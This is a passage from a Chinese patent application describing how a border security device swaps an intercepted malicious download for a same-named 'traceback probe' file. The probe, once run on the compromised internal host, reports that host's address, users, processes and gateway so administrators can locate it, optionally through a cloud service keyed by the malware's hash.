因此可选的,安全设备在确定与上述样本文件对应的溯源探针文件的过程中,还可以基于该样本文件生成用于唯一标识该样本文件的哈希(hash)值。

这样,安全设备在确定出的与第一报文所传输样本文件的文件类型相同、文件名称均相同的溯源探针文件中,使用唯一标识该样本文件的哈希值来替换该溯源探针文件中的原始哈希值,即可得到与第一报文所传输的样本文件唯一对应的溯源探针文件。

当然,安全设备也可以在确定出与第一报文所传输样本文件的文件类型相同的溯源探针模板文件后,使用唯一标识该样本文件的哈希值来替换该溯源探针模板文件的副本文件中的原始哈希值。然后,安全设备再将替换了哈希值的副本文件重命名为第一报文所传输样本文件的文件名称,从而得到与该样本文件唯一对应的溯源探针文件。

需要说明,安全设备也可以不对溯源探针文件中的哈希值进行替换。这种情况下,溯源探针文件中无须配置原始哈希值。

下面对安全设备配置溯源探针文件库的过程予以说明:

可选的,安全设备可以通过图2所示的输入输出接口提供的交互界面,接收用户输入的溯源探针文件库。

其中,用户向安全设备输入的溯源探针文件库中的不同类型的溯源探针模板文件,是用户基于自身所要收集主机信息的需求进行设计编写的不同类型的可执行文件,本申请实施例对此不作具体限定。这里,收集主机信息的需求包括但不限于所收集主机信息的类型和数量,以及目标网络设备的地址信息等。

作为示例,参考图5,图5示出了本申请实施例示出了一种配置溯源探针文件库的示意图。如图5所示,在安全设备的显示屏50上,显示有用于配置溯源探针文件库的交互界面501。

如图5中的(a)所示,在交互界面501,用户通过操作(例如通过鼠标点击)“自定义”选项,并通过操作(例如通过鼠标点击)“选择”按钮后,在弹出的选择本地文件的界面(图5未示出)上选择需要输入的溯源探针文件库的文件包。然后,用户通过操作(例如通过鼠标点击)交互界面501上“确定”按钮,即可实现向安全设备输入溯源探针文件库的目的。

作为响应,安全设备即接收到用户输入的溯源探针文件库。这样,安全设备即可在检测到第一报文所传输的样本文件是恶意文件时,根据用户输入的溯源探针文件库,确定与该样本文件对应的溯源探针文件。这里,根据用户输入的溯源探针文件库确定与样本文件对应的溯源探针文件的具体过程可以参考上文描述,不再赘述。

可选的,安全设备本身默认预置有溯源探针文件库。这样,安全设备在检测到第一报文所传输的样本文件是恶意文件时,能够直接根据该预置的溯源探针文件库确定与该样本文件对应的溯源探针文件。其中,根据溯源探针文件库确定与样本文件对应的溯源探针文件的具体过程可以参考上文描述,不再赘述。

可选的,安全设备可以通过图2所示的输入输出接口提供的交互界面,接收用户输入的指示消息,该指示消息用于指示安全设备在检测到第一报文所传输的样本文件是恶意文件时,根据自身预置的溯源探针文件库来确定与该样本文件对应的溯源探针文件。

作为示例,如图5中的(b)所示,在交互界面501,用户通过操作(例如通过鼠标点击)“默认”选项,并操作(例如通过鼠标点击)“确定”按钮,即实现了向安全设备输入用于指示安全设备在检测到第一报文所传输的样本文件是恶意文件时,根据自身预置的溯源探针文件库来确定与该样本文件对应的溯源探针文件的指示消息。

作为响应,安全设备即确定,当在检测到第一报文所传输的样本文件是恶意文件时,则根据自身预置的溯源探针文件库确定与该样本文件对应的溯源探针文件。

S205、安全设备将第一报文所传输的样本文件替换为与该样本文件对应的溯源探针文件,得到第二报文,以及经NAT设备向内网主机1发送第二报文。

可选的,安全设备使用上文所确定的与第一报文所传输样本文件具有相同文件类型的溯源探针文件,来替换该样本文件,从而得到第二报文。或者可选的,安全设备使用上文所确定的与第一报文所传输样本文件具有相同文件类型、以及相同文件名称的溯源探针文件,来替换该样本文件,从而得到第二报文。为清楚描述,下文中以安全设备使用上文确定的与第一报文所传输样本文件具有相同文件类型、以及相同文件名称的溯源探针文件,来替换该样本文件,从而得到第二报文为例进行说明。

应理解,当报文所传输的样本文件被替换时,可选地采用与该样本文件的文件类型相同的文件来替换。这样,当主机接收到被替换了样本文件的报文时,即能够运行该报文中传输的文件。或者,当采用与该样本文件的文件类型以及文件名称均相同的文件来替换报文所传输的样本文件时,则当主机接收到被替换了文件的报文时,不会感知到该报文中的文件被替换过,即主机会在无感知的情况下运行该报文中传输的文件。应指出的是,溯源探针文件并不限于是与样本文件的文件类型、文件名称均相同的文件,只是采用与样本文件的文件类型、文件名称均相同的溯源探针文件被内网主机1成功运行的概率更高,从而提高收集主机信息的可靠率和成功率。

应理解,第二报文和第一报文除载荷内容不同(即原本的样本文件被替换为溯源探针文件)外,地址信息均是相同的。因此,安全设备能够基于第一报文的转发路径,将第二报文经NAT设备转发至内网主机1。

其中,NAT设备转发第二报文前先对其目的地址进行地址转换,其具体说明可以参考上文,这里不再赘述。

S206、内网主机1接收到第二报文,并执行第二报文所传输的溯源探针文件,以收集自身的主机信息,并上报收集到的主机信息。

应理解,内网主机1在执行攻击代码/命令,向攻击者服务器发送文件下载请求,并从攻击者服务器下载到恶意文件后,即执行/运行该恶意文件。

这样,由于第二报文传输的溯源探针文件的文件类型和名称,与内网主机1请求从攻击者服务器下载的恶意文件的文件类型和文件名称均相同。因此当内网主机1接收到第二报文,则执行/运行第二报文所传输的溯源探针文件,从而对自身的主机信息进行收集。这里,主机信息的具体说明可以参考上文描述,这里不再赘述。

作为示例,表1示出了内网主机1执行/运行第二报文所传输的溯源探针文件后,收集到的自身的主机信息。具体的,表1示出了内网主机1执行/运行第二报文所传输的溯源探针文件后,收集到了自身的IP地址信息,登录内网主机1的用户信息、当前运行的进程信息、网关地址信息、以及收集自身主机信息的时间等信息。

表1

然后,内网主机1还能根据第二报文里溯源探针文件中配置的目标网络设备的地址信息,建立与该目标网络设备之间的通信连接,例如建立与该目标网络设备之间的TCP/HTTP通信连接等。

进一步,内网主机1将收集到的自身的主机信息以预设编码方式进行编码,并将编码后得到的用于承载该主机信息的报文通过建立完成的通信连接,发送至该目标网络设备,从而实现了自身主机信息的上报。应理解,内网主机1接收到的第二报文所传输的溯源探针文件中,包括该预设编码方式。

可选的,内网主机1接收到的第二报文所传输的溯源探针文件中,还包括预设加密方式,本申请实施例对此不作限定。这种情况下,内网主机1将收集到的自身的主机信息以预设编码方式进行编码,并以该预设加密方式进行加密,从而得到用于承载该主机信息的加密报文。然后,内网主机1向目标网络设备发送该加密报文。

可以理解,上述预设编码方式和预设加密方式,可以在配置溯源探针文件或配置溯源探针模板文件时配置得到。

可选的,当内网主机1接收到的第二报文所传输的溯源探针文件中包括用于唯一标识样本文件的哈希值时,则内网主机1向目标网络设备发送的报文中,还包括该哈希值。

以第二报文里溯源探针文件中配置的目标网络设备的地址信息是安全设备的地址信息为例,内网主机1即向安全设备发送用于承载主机信息的报文。这样,安全设备即接收到该报文。

当安全设备通过为接收失陷主机的主机信息预留的端口接收到该报文,且能够通过预设解码方式和/或预设解密方式解析出该报文中的主机信息,则安全设备确定该主机信息所指示的主机是失陷主机。然后可选的,安全设备通过生成包括该主机信息的安全日志来对用户或管理员进行攻击告警,从而使得用户或管理员对安全日志所记录的主机信息所指示的失陷主机进行及时处理,以解除该失陷主机带来的安全威胁。

其中,预设解码方式与上文中的预设编码方式对应,预设解密方式与上文中的预设加密方式对应。

应理解,安全设备在溯源探针文件或溯源探针模板文件中配置预设编码方式和/或预设加密方式时,还为溯源探针文件或溯源探针模板文件中所配置地址信息指示的目标网络设备端口配置该预设解码方式和/或预设解密方式。

可选的,当安全设备根据上述报文解析得到的数据中,除包括主机信息外,还包括用于标识样本文件的哈希值,则安全设备根据该哈希值,确定出用于生成该哈希值的样本文件,并生成包括失陷主机的主机信息和该样本文件的文件信息的安全日志。这样,安全设备即建立了该失陷主机的主机信息和该样本文件的关联关系。应理解,该样本文件即为失陷主机通过S201所述的文件下载请求所请求下载的样本文件,也即在S203中被确定为恶意文件的样本文件。

这样的话,安全设备即可通过生成的包括有主机信息和样本文件的文件信息的安全日志。来实现对用户或管理员的攻击告警,从而使用户或管理员根据该安全日志所记录的样本文件(即被确定为恶意文件的样本文件)的文件信息,针对性的制定出用于处理该安全日志所记录的主机信息所指示的失陷主机的有效处置方案,从而能够高效的解除该失陷主机带来的安全威胁。

综上,本申请实施例提供了一种确定失陷主机的方法,该方法通过安全设备确定从外部网络接收到的报文所传输的样本文件是恶意文件后,即确定与该样本文件对应的溯源探针文件,并将该溯源探针文件经NAT设备发送至目标主机,该目标主机即为内部网络中用于请求下载该样本文件的主机,也即失陷主机。其中,该溯源探针文件用于控制运行该溯源探针文件的主机收集自身的主机信息,以及上报该主机信息。如此,目标主机在接收到溯源探针文件后,即可通过运行该溯源探针文件来收集自身的主机信息,并上报自身的主机信息。这样,在私网(或内网)中的主机经NAT设备收发报文的场景下,通过本申请实施例提供的方法能够实现私网(或内网)中的失陷主机(即上述目标主机)自行上报自身主机信息的目的,这样使得接收到该主机信息的设备能够准确地定位内部网络中的失陷主机,从而得以及时地对用户或管理员发出攻击告警,从而使得用户或管理员对该失陷主机进行处置,以解除该失陷主机带来的安全威胁。

本申请实施例提供的方法还能确定出上述主机信息所指示的失陷主机所请求下载的样本文件(即被确定为恶意文件的样本文件)。基于此,能够使用户针对性的制定出处理该失陷主机的处置方案,从而实现高效的对失陷主机进行处理,以快速解除失陷主机带来的安全威胁。

在另一些实施例中,图1中所示的安全设备101还与云端设备连接通信。参考图6,图6示出了本申请实施例提供的一种网络架构的示意图。如图6所示,网络系统10中的安全设备101和位于外部网络的云端设备60连接通信。可选的,云端设备60用于分担安全设备的某些功能,以减少安全设备的资源消耗。

作为示例,安全设备101能够通过云端设备60向安全设备101提供的可访问接口(例如应用程序接口(application programming interface,API))来访问云端设备60。可替换地,安全设备101也可以通过HTTP,HTTPS协议访问云端设备60。

因此,为减少安全设备的资源消耗,图4所描述的实施例中的溯源探针文件库可以预先配置在图6所示的云端设备60中。云端设备配置溯源探针文件库的具体说明,可以参考上文安全设备配置溯源探针文件库的描述,这里不作赘述。

这种情况下,参考图7,图7示出了本申请实施例提供的又一种确定失陷主机的方法流程示意图。可选地,该方法应用于图1所示的网络系统中。图7中的安全设备具有图2所示的硬件结构。图7以时序交互图的方式对图3所示的方法进行进一步的说明。如图7所示,安全设备在执行S201-S203后,执行步骤S2041-S2043。

S2041、安全设备向云端设备发送溯源探针文件获取请求。其中,该溯源探针文件获取请求中携带有第一报文所传输的样本文件的文件信息。

可选的,安全设备通过云端设备为该安全设备提供的API接口,向该云端设备发送溯源探针文件获取请求。

其中,样本文件的文件信息例如包括该样本文件的文件类型和/或文件名称。

可选的,该溯源探针文件获取请求中还携带有唯一标识该样本文件的哈希值。其中,用于唯一标识样本文件的哈希值的具体说明,可以参考上文描述,这里不再赘述。

S2042、云端设备接收溯源探针文件获取请求,并确定与第一报文所传输的样本文件对应的溯源探针文件,以及向安全设备返回该溯源探针文件。

具体的,云端设备根据预先配置的溯源探针文件库,确定与第一报文所传输样本文件对应的溯源探针文件。

其中,溯源探针文件的具体说明可以参考上文描述,这里不予赘述。云端设备根据自身配置的溯源探针文件库、样本文件的文件信息、以及用于唯一标识该样本文件的哈希值,确定与该样本文件对应的溯源探针文件的具体过程,可以参考上文S204中安全设备确定与第一报文所传输的样本文件相对应的溯源探针文件的过程的描述,这里不再赘述。

S2043、安全设备接收云端设备返回的溯源探针文件。

然后,安全设备执行上述S205和S206。

需要说明的是,在步骤S206,内网主机1在执行第二报文所传输的溯源探针文件后,对收集到的主机信息进行上报时,可选的,如果第二报文所传输的溯源探针文件中配置的地址信息所指示的目标网络设备是上述安全设备,则内网主机1向该安全设备发送用于承载主机信息的报文。作为响应,该安全设备即接收到内网主机1发送的报文。其中,安全设备接收内网主机1发送的用于承载主机信息的报文、以及生成安全日志相关说明,参考上文S206中的描述,这里不再赘述。

可选的,如果第二报文所传输的溯源探针文件中配置的地址信息所指示的目标网络设备是非安全设备,例如是上述的云端设备,则内网主机1向该云端设备发送用于承载主机信息的报文。作为响应,该云端设备即接收到内网主机1发送的报文。其中,云端设备接收到的内网主机1发送的用于承载主机信息的报文中,包括有用于唯一标识样本文件的哈希值。

这样,云端设备从接收到的报文中解析出主机信息和哈希值后,生成包括主机信息和哈希值的失陷主机日志,即云端设备建立了失陷主机的主机信息和该失陷主机请求下载的样本文件(即被确定为恶意文件的样本文件)的关联关系。应理解,一条失陷主机日志信息包括一条主机信息和一个哈希值。应理解,云端设备接收内网主机1发送的用于承载主机信息的报文,并解析出该报文所传输的主机信息和哈希值的过程,可以参考上文安全设备接收内网主机1发送的用于承载主机信息的报文,并解析出该报文中的主机信息和哈希值的过程的描述,这里不再赘述。

这样的话,安全设备即可根据用于唯一标识样本文件的哈希值,从云端设备的失陷主机日志中查询并获取失陷主机的主机信息。

可选的,安全设备通过云端设备向该安全设备提供的可访问接口(例如API),向云端设备发送失陷主机的主机信息的获取请求,该获取请求中携带有唯一标识样本文件的哈希值。

其中应理解,该可访问接口与上述的失陷主机日志关联。这样,当云端设备通过该可访问接口接收到获取失陷主机的主机信息的获取请求时,则基于该获取请求中的哈希值查询该失陷主机日志,以确定与该哈希值对应的主机信息。

当云端设备确定失陷主机日志中存在接收到的获取请求中所携带的哈希值,则将该哈希值所属的一条日志信息发送至安全设备,也即,云端设备将该哈希值和该哈希值对应的主机信息发送给安全设备。

作为响应,安全设备即获取到与用于唯一标识样本文件的哈希值对应的失陷主机的主机信息,并通过生成包括该主机信息和该哈希值所标识样本文件(即被确定为恶意文件的样本文件)的文件信息的安全日志,来向用户或管理员进行攻击告警,从而得以使用户或管理员根据该安全日志所记录的样本文件(即被确定为恶意文件的样本文件)的文件信息,针对性的制定出用于处理该安全日志所记录的主机信息所指示的失陷主机的有效处置方案,从而能够高效的解除该失陷主机带来的安全威胁。

可以看出,通过本实施例提供的方法,确定与样本文件对应的溯源探针文件的算法过程由云端设备执行,这样安全设备即无需执行该过程,从而减少了安全设备的资源消耗,进而保证了安全设备的性能。

上述主要从方法的角度对本申请实施例提供的方案进行了介绍。为了实现上述功能,如图8所示,图8示出了本申请实施例提供的一种确定失陷主机的装置80的结构示意图。确定失陷主机的装置80装置部署于外部网络和内部网络的边界,并可以用于执行上述的确定失陷主机的方法,例如用于执行图3、图4或图7所示的方法。其中,确定失陷主机的装置80可以包括截获单元81、确定单元82以及发送单元83。

截获单元81,用于截获外部网络向内部网络发送的样本文件,该样本文件是外部网络的服务器根据内部网络的目标主机的请求而提供的。确定单元82,用于响应于该样本文件是恶意文件,确定溯源探针文件。发送单元83,用于向前述目标主机发送该溯源探针文件。其中,溯源探针文件用于控制运行该溯源探针文件的主机收集该主机的主机信息,并上报主机信息。

作为示例,结合图3,截获单元81可以用于执行S101,确定单元82可以用于执行S102,发送单元83可以用于执行S103。

可选的,确定失陷主机的装置80还包括:获取单元84,用于在确定单元82确定溯源探针文件之前,获取溯源探针文件库,该溯源探针文件库中包括多个不同类型的溯源探针模板文件。确定单元82,具体用于在该溯源探针文件库中匹配与上述样本文件的文件类型相同的溯源探针模板文件,以得到上述溯源探针文件。

作为示例,结合图4,确定单元82可以用于执行S204。

可选的,确定单元82,还具体用于将与上述样本文件的文件类型相同的溯源探针模板文件的副本文件的名称,重命名为上述样本文件的文件名称,得到上述溯源探针文件。

作为示例,结合图4,确定单元82可以用于执行S204。

可选的,上述溯源探针文件中包括目标网络设备的地址信息,该目标网络设备包括上述安全设备,该目标网络设备用于接收上述目标主机上报的主机信息。

可选的,发送单元83,还用于向云端设备发送溯源探针文件获取请求,该溯源探针文件获取请求用于云端设备确定上述的溯源探针文件,该溯源探针文件获取请求中包括上述样本文件的文件信息,该样本文件的文件信息包括该样本文件的文件名称和/或文件类型。确定单元82,具体用于接收云端设备返回的溯源探针文件。

作为示例,结合图7,发送单元83可以用于执行S2041,确定单元82可以用于执行S2043。

可选的,上述的溯源探针文件中包括目标网络设备的地址信息,该目标网络设备包括上述安全设备或上述云端设备,该目标网络设备用于接收目标主机上报的主机信息。

可选的,确定单元82,还用于当目标网络设备为安全设备时,确定主机信息和样本文件的关联关系。

可选的,上述的主机信息包括:上述目标主机的地址信息、进程信息、网关信息、登录上述目标主机的用户信息、或收集到该主机信息的时间信息中的至少一种。

关于上述可选方式的具体描述可以参见前述的方法实施例,此处不再赘述。此外,上述提供的任一种确定失陷主机的装置80的解释以及有益效果的描述均可参考上述对应的方法实施例,不再赘述。

作为示例,结合图2,确定失陷主机的装置80中的确定单元82所实现的功能可以通过图2中的处理器1011执行图2中的存储器1012中的程序代码实现。截获单元81和发送单元83所实现的功能可以通过图2中的网络接口1013实现。获取单元84所实现的功能可以通过图2中的输入输出接口1015实现,当然不限于此。

本领域技术人员应该很容易意识到,结合本文中所公开的实施例描述的各示例的单元及算法步骤,本申请能够以硬件或硬件和计算机软件的结合形式来实现。某个功能究竟以硬件还是计算机软件驱动硬件的方式来执行,取决于技术方案的特定应用和设计约束条件。专业技术人员可以对每个特定的应用来使用不同方法来实现所描述的功能,但是这种实现不应认为超出本申请的范围。

需要说明的是,图8中对模块的划分是示意性的,仅仅为一种逻辑功能划分,实际实现时可以有另外的划分方式。例如,还可以将两个或两个以上的功能集成在一个处理模块中。上述集成的模块既可以采用硬件的形式实现,也可以采用软件功能模块的形式实现。

本申请实施例还提供一种确定失陷主机的系统,该系统包括:云端设备和部署于外部网络和内部网络边界的安全设备。其中,安全设备,用于截获外部网络向内部网络发送的样本文件,该样本文件是外部网络的服务器根据内部网络的目标主机的请求而提供的;以及,响应于该样本文件是恶意文件,向云端设备发送包括该样本文件的文件信息的溯源探针文件获取请求。其中,样本文件的文件信息包括该样本文件的文件名称和/或文件类型。云端设备,用于接收该溯源探针文件获取请求,并根据该请求中携带的文件信息和溯源探针文件库确定溯源探针文件,以及向安全设备返回确定出的溯源探针文件。其中,溯源探针文件库中包括多个不同类型的溯源探针模板文件,溯源探针文件用于控制运行该溯源探针文件的主机收集该主机的主机信息并上报该主机信息。安全设备,还用于接收云端设备返回的该溯源探针文件,以及,向目标主机发送该溯源探针文件。

可选的,上述安全设备,还用于接收目标主机上报的主机信息,以及,用于确定该主机信息和上述样本文件的关联关系。

可选的,上述云端设备,还用于接收目标主机上报的主机信息,以及,用于确定该主机信息和上述样本文件的关联关系。上述安全设备,还用于从云端设备获取具有关联关系的主机信息和样本文件的文件信息。

可选的,上述主机信息包括:上述目标主机的地址信息、进程信息、网关信息、登录该目标主机的用户信息、或收集到该主机信息的时间信息中的至少一种。

本申请实施例还提供一种计算机程序产品,以及用于存储该计算机程序产品的计算机可读存储介质。该计算机程序产品可以包括一个或多个程序指令,当该一个或多个程序指令被一个或多个处理器运行时可以提供以上针对图3、图4或图7描述的功能或者部分功能。因此,例如,参考图4中S201~S206的一个或多个特征可以由该计算机程序产品中的一个或多个指令来承担。

在一些示例中,诸如针对图3、图4或图7描述的确定失陷主机的装置80可以被配置为,响应于通过计算机可读存储介质中存储的一个或多个程序指令,提供各种操作、功能、或者动作。

在上述实施例中,可以全部或部分地通过软件、硬件、固件或者其任意组合来实现。当使用软件程序实现时,可以全部或部分地以计算机程序产品的形式来实现。该计算机程序产品包括一个或多个计算机指令。在计算机上和执行计算机执行指令时,全部或部分地产生按照本申请实施例的流程或功能。计算机可以是通用计算机、专用计算机、计算机网络、或者其他可编程装置。计算机指令可以存储在计算机可读存储介质中,或者从一个计算机可读存储介质向另一个计算机可读存储介质传输,例如,计算机指令可以从一个网站站点、计算机、服务器或者数据中心通过有线(例如同轴电缆、光纤、数字用户线(digitalsubscriber line,DSL))或无线(例如红外、无线、微波等)方式向另一个网站站点、计算机、服务器或数据中心进行传输。计算机可读存储介质可以是计算机能够存取的任何可用介质或者是包含一个或多个可以用介质集成的服务器、数据中心等数据存储设备。可用介质可以是磁性介质(例如,软盘、硬盘、磁带),光介质(例如,DVD)、或者半导体介质(例如固态硬盘(solid state disk,SSD))等。

以上所述,仅为本申请的具体实施方式,但本申请的保护范围并不局限于此,任何熟悉本技术领域的技术人员在本申请揭露的技术范围内,可轻易想到变化或替换,都应涵盖在本申请的保护范围之内。因此,本申请的保护范围应以所述权利要求的保护范围为准。

相关技术
  • 主机节点状态确定方法、装置、主机节点及存储介质
  • 与主机接合的储存装置以及操作主机和储存装置的方法
  • 一种失陷主机的确定方法、装置及计算机设备
  • 确定失陷主机的方法及装置
技术分类

06120115931360